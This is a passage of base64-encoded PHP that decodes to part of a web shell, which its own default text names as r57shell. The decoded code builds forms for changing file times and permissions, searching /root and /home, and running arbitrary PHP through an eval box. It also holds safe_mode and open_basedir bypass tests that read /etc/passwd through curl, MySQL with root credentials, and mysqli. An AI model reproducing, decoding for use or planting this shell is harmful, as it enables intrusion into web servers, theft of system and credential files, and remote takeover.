4yOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5Nb250aCIuJGFycm93LiI8L2I+IgouJwo8c2VsZWN0IG5hbWU9Im1vbnRoIiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iSmFudWFyeSI+SmFudWFyeTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJGZWJydWFyeSI+RmVicnVhcnk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iTWFyY2giPk1hcmNoPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IkFwcmlsIj5BcHJpbDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJNYXkiPk1heTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJKdW5lIj5KdW5lPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9Ikp1bHkiPkp1bHk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iQXVndXN0Ij5BdWd1c3Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iU2VwdGVtYmVyIj5TZXB0ZW1iZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iT2N0b2JlciI+T2N0b2Jlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJOb3ZlbWJlciI+Tm92ZW1iZXI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iRGVjZW1iZXIiPkRlY2VtYmVyPC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5ZZWFyIi4kYXJyb3cuIjwvYj4iCi4nCjxzZWxlY3QgbmFtZT0ieWVhciIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjE5OTgiPjE5OTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTk5OSI+MTk5OTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDAwIj4yMDAwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDEiPjIwMDE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwMiI+MjAwMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDAzIj4yMDAzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDQiPjIwMDQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwNSI+MjAwNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMDc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjAwNiI+MjAwODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMDA2Ij4yMDA5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwMDYiPjIwMTA8L29wdGlvbj4KPC9zZWxlY3Q+Jwoud3MoNCkuIjxiPkhvdXIiLiRhcnJvdy4iPC9iPiIKLicKPHNlbGVjdCBuYW1lPSJjaGFzaSIgc2l6ZT0iMSI+CjxvcHRpb24gdmFsdWU9IjAxIj4wMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwMiI+MDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjAzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA0Ij4wNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwNSI+MDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjA2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjA3Ij4wNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIwOCI+MDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjA5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEwIj4xMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMSI+MTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTIiPjEyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjEzIj4xMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNCI+MTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTUiPjE1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE2Ij4xNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNyI+MTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTgiPjE4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE5Ij4xOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMCI+MjA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjEiPjIxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIyIj4yMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMyI+MjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjQiPjI0PC9vcHRpb24+Cjwvc2VsZWN0PicKLndzKDQpLiI8Yj5NaW51dGUiLiRhcnJvdy4iPC9iPiIKLicKPHNlbGVjdCBuYW1lPSJtaW51dGVzIiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMyIj4zMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzQiPjM0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM1Ij4zNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzciPjM3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM4Ij4zODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDAiPjQwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDMiPjQzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NSI+NDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDYiPjQ2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ3Ij40Nzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0OCI+NDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDkiPjQ5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MSI+NTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTIiPjUyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUzIj41Mzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NCI+NTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTUiPjU1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU2Ij41Njwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTgiPjU4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU5Ij41OTwvb3B0aW9uPgo8L3NlbGVjdD4nCi53cyg0KS4iPGI+U2Vjb25kIi4kYXJyb3cuIjwvYj4iCi4nCjxzZWxlY3QgbmFtZT0ic2Vjb25kIiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5Ij4yOTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMCI+MzA8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzEiPjMxPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjMyIj4zMjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzMyI+MzM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzQiPjM0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM1Ij4zNTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzNiI+MzY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMzciPjM3PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjM4Ij4zODwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIzOSI+Mzk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDAiPjQwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQxIj40MTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0MiI+NDI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDMiPjQzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ0Ij40NDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0NSI+NDU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDYiPjQ2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQ3Ij40Nzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI0OCI+NDg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNDkiPjQ5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUwIj41MDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1MSI+NTE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTIiPjUyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjUzIj41Mzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NCI+NTQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTUiPjU1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU2Ij41Njwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1NyI+NTc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iNTgiPjU4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjU5Ij41OTwvb3B0aW9uPgo8L3NlbGVjdD4nCi5pbignaGlkZGVuJywnY21kJywwLCd0b3VjaCcpCi5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpCi53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9Cgokc2VsZWN0PScnOwppZihAZnVuY3Rpb25fZXhpc3RzKCdjaG1vZCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPW1vZD5DSE1PRDwvb3B0aW9uPiI7fQppZihAZnVuY3Rpb25fZXhpc3RzKCdjaG93bicpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPW93bj5DSE9XTjwvb3B0aW9uPiI7fQppZihAZnVuY3Rpb25fZXhpc3RzKCdjaGdycCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPiI7fQppZigkdW5peCAmJiAkc2VsZWN0KXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNicpLiR0YWJsZV91cDIuZGl2KCdpZDYnKS4kdHM7CmVjaG8gQHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdwYXJhbTEnLDU1LCgoJF9QT1NUWydwYXJhbTEnXSk/KCRfUE9TVFsncGFyYW0xJ10pOigkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY4J10uJGFycm93LiI8L2I+Ii4iPHNlbGVjdCBuYW1lPXdoYXQ+Ii4kc2VsZWN0LiI8L3NlbGVjdD4iLndzKDQpLmluKCd0ZXh0JywncGFyYW0yIHRpdGxlPSInLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MSddLiciJywxMCwoKCRfUE9TVFsncGFyYW0yJ10pPygkX1BPU1RbJ3BhcmFtMiddKTooIjA3NzciKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2NoXycpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoISRzYWZlX21vZGUpewokYWxpYXNlczIgPSAnJzsKZm9yZWFjaCAoJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpCiB7CiAkYWxpYXNlczIgLj0gIjxvcHRpb24+JGFsaWFzX25hbWU8L29wdGlvbj4iOwogfQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NyddLCdpZDcnKS4kdGFibGVfdXAyLmRpdignaWQ3JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLndzKDkpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4J10uJGFycm93LndzKDQpLiI8L2I+IiwiPHNlbGVjdCBuYW1lPWFsaWFzPiIuJGFsaWFzZXMyLiI8L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU0J10sJ2lkOCcpLiR0YWJsZV91cDIuZGl2KCdpZDgnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfZGlyJyw4NSwkZGlyKS4iICogKCAvcm9vdDsvaG9tZTskdGVtcGRpciApIik7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU1J10uJGFycm93LiI8L2I+IixpbignY2hlY2tib3gnLCdtIGlkPW0nLDAsJzEnKS5pbigndGV4dCcsJ3NfbWFzaycsODIsJy50eHQ7LnBocCcpLiIqICggLnR4dDsucGhwOy5odG0gKSIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnc2VhcmNoX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwoKaWYoISRzYWZlX21vZGUgJiYgJHVuaXgpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzYnXSwnaWQ5JykuJHRhYmxlX3VwMi5kaXYoJ2lkOScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzInXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc190ZXh0Jyw4NSwndGV4dCcpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEyJ10pKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19kaXInLDg1LCRkaXIpLiIgKiAoIC9yb290Oy9ob21lOyR0ZW1wZGlyICkiKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0Jywnc19tYXNrJyw4NSwnKi5baGNdJykud3MoMSkuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDc1J10uaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZmluZF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMyJ10sJ2lkMTAnKS4kdGFibGVfdXAyLiRmb250OwplY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iLmRpdignaWQxMCcpLiI8dGV4dGFyZWEgbmFtZT1waHBfZXZhbCBjb2xzPTEwMCByb3dzPTEwPiI7CmVjaG8gKCFlbXB0eSgkX1BPU1RbJ3BocF9ldmFsJ10pPygkX1BPU1RbJ3BocF9ldmFsJ10pOigiLy91bmxpbmsoXCJyNTdzaGVsbC5waHBcIik7XHJcbi8vcmVhZGZpbGUoXCIvZXRjL3Bhc3N3ZFwiKTtcclxuLy9maWxlX2dldF9jb250ZW50KFwiL2V0Yy9wYXNzd2RcIik7IikpOwplY2hvICI8L3RleHRhcmVhPiI7CmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOwplY2hvICI8YnI+Ii53cygxKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pOwplY2hvICI8L2Rpdj48L2Rpdj48L2ZvbnQ+IjsKZWNobyAkdGFibGVfZW5kMS4kZmU7CgppZigkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM0J10sJ2lkMTEnKS4kdGFibGVfdXAyLmRpdignaWQxMScpLiR0czsKZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0Ml9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDJfZmlsZSddKT8oJF9QT1NUWyd0ZXN0Ml9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDInKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsKZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOwp9CgppZigoJHNhZmVfbW9kZSB8fCAkb3Blbl9iYXNlZGlyKSAmJiAkY3VybF9vbiAmJiBAdmVyc2lvbl9jb21wYXJlKEBwaHB2ZXJzaW9uKCksIjUuMi4wIik8PTApCnsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMzJ10sJ2lkMTInKS4kdGFibGVfdXAyLmRpdignaWQxMicpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDFfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDFfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgJG15c3FsX29uKQp7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNSddLCdpZDEzJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QzX21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWQnXSk/KCRfUE9TVFsndGVzdDNfbWQnXSk6KCJteXNxbCIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QzX21sJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDNfbWwnXSk/KCRfUE9TVFsndGVzdDNfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzgnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfbXAnLDE1LCghZW1wdHkoJF9QT1NUWyd0ZXN0M19tcCddKT8oJF9QT1NUWyd0ZXN0M19tcCddKTooInBhc3N3b3JkIikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDNfcG9ydCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX3BvcnQnXSk/KCRfUE9TVFsndGVzdDNfcG9ydCddKTooIjMzMDYiKSkpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDNfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QzX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDNfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QzJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcikgJiYgJG15c3FsaV9vbikKewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTQ0J10sJ2lkNDAnKS4kdGFibGVfdXAyLmRpdignaWQ0MCcpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE5X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDE5X21kJ10pPygkX1BPU1RbJ3Rlc3QxOV9tZCddKTooIm15c3FsaSIpKSkud3MoNCkuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+Ii5pbigndGV4dCcsJ3Rlc3QxOV9tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxOV9tbCddKT8oJF9QT1NUWyd0ZXN0MTlfbWwnXSk6KCJyb290IikpKS53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzknXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywndGVzdDE5X21wJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDE5X21wJ10pPygkX1